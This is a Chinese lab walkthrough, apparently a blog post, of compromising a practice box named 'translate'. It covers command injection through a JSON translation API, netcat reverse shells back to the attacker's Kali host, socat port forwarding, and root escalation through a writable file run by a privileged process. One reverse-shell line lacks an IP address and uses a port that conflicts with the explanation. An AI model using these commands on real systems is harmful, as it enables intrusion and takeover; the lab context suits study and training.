translate靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.3

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.3

发现开放了22、80、5001端口。

2、代码审计

curl命令获取5001端口代码:

bash 复制代码
curl 192.168.1.3:5001

服务器返回405 Method Not Allowed 错误.。含义:客户端(curl)使用的 HTTP 请求方法(默认是 GET)被目标服务器禁止,服务器明确该 URL 不支持当前请求方法。

那就换个写法:

bash 复制代码
curl http://192.168.1.3:5001 -X POST

服务器返回415 Method Not Allowed 错误.。含义:不支持的媒体类型,请求的 Content-Type 头部没有设置为 application/json(服务器要求 POST 请求必须携带 JSON 格式数据,且显式声明该类型)。

换成标准的json请求:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x"}'

要求还要传个text_list,修改一下:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":[]}'

可以看到返回了正确的请求。我们可以修改执行命令:

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["id"]}'

可以看到靶场返回了信息。

id换成浏览器中的"就你也想要账号????"

bash 复制代码
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["就你也想要账号????"]}'

拿到靶场用户名和密码:

3、目录扫描

dirsearch -u 192.168.1.3目录扫描后发现有admin.php,用之前获取的账号密码登录:

4、NC反弹

出现熟悉的命令执行界面,开始nc反弹:

bash 复制代码
busybox nc 192.168.1.4 4444 -e /bin/bash


kali调整bash格式:

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null
stty raw -echo;fg
reset
xterm

sudo -l 查看可执行的操作,发现要密码,ctrl+c赶紧退出:

5、文件上传

kali上启动临时文件服务:

bash 复制代码
python3 -m http.server 80

靶机去访问kali上的80端口,拿到pspy文件:

bash 复制代码
busybox wget http://192.168.1.4/pspy64

给执行权限:

bash 复制代码
chmod +x pspy

运行 pspy:

bash 复制代码
./pspy

写入反弹 shell 脚本到 /tmp/test.sh

bash 复制代码
echo 'busybox nc 4321 -e /bin/bash' > /tmp/test.sh
部分 核心含义
echo 'xxx' 把单引号里的内容作为字符串输出;
busybox nc 调用 busybox 内置的 nc(netcat)工具(靶机大概率没有单独安装 nc,busybox 是精简版兜底);
4321 目标端口(攻击者会在 Kali 上监听 4444 端口,等待靶机连接);
-e /bin/bash nc 的核心参数:-e = execute,意思是 "把 bash 绑定到这个网络连接"------ 靶机连接到 Kali 后,Kali 就能直接操作靶机的 bash;
> /tmp/test.sh 把前面的命令写入 /tmp/test.sh 文件(> 是覆盖写入,/tmp 目录有写入权限);

为什么写入 /tmp/test.sh:www-data 只有 /tmp 目录有 "写入 + 执行" 权限,写其他目录会提示 Permission denied;

6、端口转发

ss -lntup查看靶机开放的网络端口,发现8000没有代理出去:

在kali里,安装静态编译版的socat

bash 复制代码
# 下载静态编译的 socat(适配 x64 靶机)
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat-static

传给靶机:

bash 复制代码
busybox wget 192.168.1.4/socat
chmod +x socat

然后做一下端口映射成8111端口:

bash 复制代码
 ./socat TCP-LISTEN:8111,fork TCP4:127.0.0.1:8000 &

查看系统中所有进程的完整信息(渗透测试中用来找高权限进程、可疑进程、可提权的进程)。

bash 复制代码
ps -ef
参数 含义
-e 显示所有进程(every process),不只是当前用户的;
-f 显示完整格式(full format),包含 UID、PID、PPID 等核心字段;

可以看到这个城市是welcome用户跑起来的:

输出表头的含义:

表头 含义 对应值
UID 运行该进程的用户 ID / 用户名(谁启动的进程) root(表示这个进程由 root 管理员运行)
PID 进程 ID(进程的唯一标识,杀进程 / 查进程都靠它) 1(Linux 中 PID=1 是核心初始化进程)
PPID 父进程 ID(这个进程由哪个进程启动) 0(无父进程,是系统最核心的进程)
C CPU 使用率(单位:百分比,数值越大占用 CPU 越高) 0(几乎没占用 CPU)
STIME 进程启动时间(Start Time) 05:47(凌晨 5 点 47 分启动)
TTY 进程关联的终端(? 表示无终端,后台 / 系统进程) ?(说明是系统核心进程,不是终端启动的)
TIME 进程累计占用的 CPU 时间(不是运行时长) 00:00:01(累计占用 1 秒 CPU)
CMD 启动进程的完整命令 /sbin/init(Linux 系统初始化进程)

7、用户文件(user.txt)权限漏洞利用

/home/welcome目录下,只有user.txt文件是可读可写可执行,所以想办法把刚才写好的test.sh文件覆盖user.txt

bash 复制代码
cd /home/welcome
cat /tmp/test.sh > user.txt
cat user.txt

在代理出来的8111端口上,让user.txt文件指向真正的/tmp/test.sh(ps) 目录文件中。

这个时候kali就监测到nc反弹了:

最终拿到root用户权限。

PS:为什么是说是真正的/tmp/test.sh

因为之前传socat的文件目录,并不是操作系统的/tmp目录,而是appache应用的/tmp目录:

bash 复制代码
find / -name socat 2>/dev/null
部分 意思
find Linux 查找文件的命令
/ 从根目录开始全盘搜索(整个系统都找)
-name socat 按文件名查找 ,名字叫 socat
2>/dev/null 把错误信息扔进垃圾桶(不显示烦人的权限不足)

易错点

busybox 是 Linux 精简工具集,仅内置了 ls、wget、nc 等常用小程序,where 并非其默认包含的功能,因此无法通过 busybox where 实现文件查找。

相关推荐
阿Y加油吧2 小时前
两道经典动态规划题:乘积最大子数组 & 分割等和子集 复盘笔记
笔记·算法·动态规划
三品吉他手会点灯2 小时前
C语言学习笔记 - 33.数据类型 - printf函数的详细用法
c语言·开发语言·笔记·学习·算法
小郑加油2 小时前
python学习Day15:综合训练——数据清洗与缺失值补充
开发语言·python·学习
颂love2 小时前
Linux命令的简单学习
linux·运维·学习
叶~小兮2 小时前
Kubernetes集群升级与证书更新 学习笔记
笔记·学习·kubernetes
小鹿软件办公2 小时前
在 Windows 中什么是 iphlpsvc?禁用它安全吗?
windows·安全·iphlpsvc
脆皮炸鸡7553 小时前
进程信号~信号的产生
linux·服务器·开发语言·经验分享·笔记·学习方法
_Evan_Yao4 小时前
计算机专业四年学习路线图(大一版)
学习
逆境不可逃4 小时前
【与我学 ClaudeCode】工具与执行篇:从 0 到 1 拆解 Agent Loop 与 Tool Use 的极简设计哲学
人工智能·学习·agent·claudecode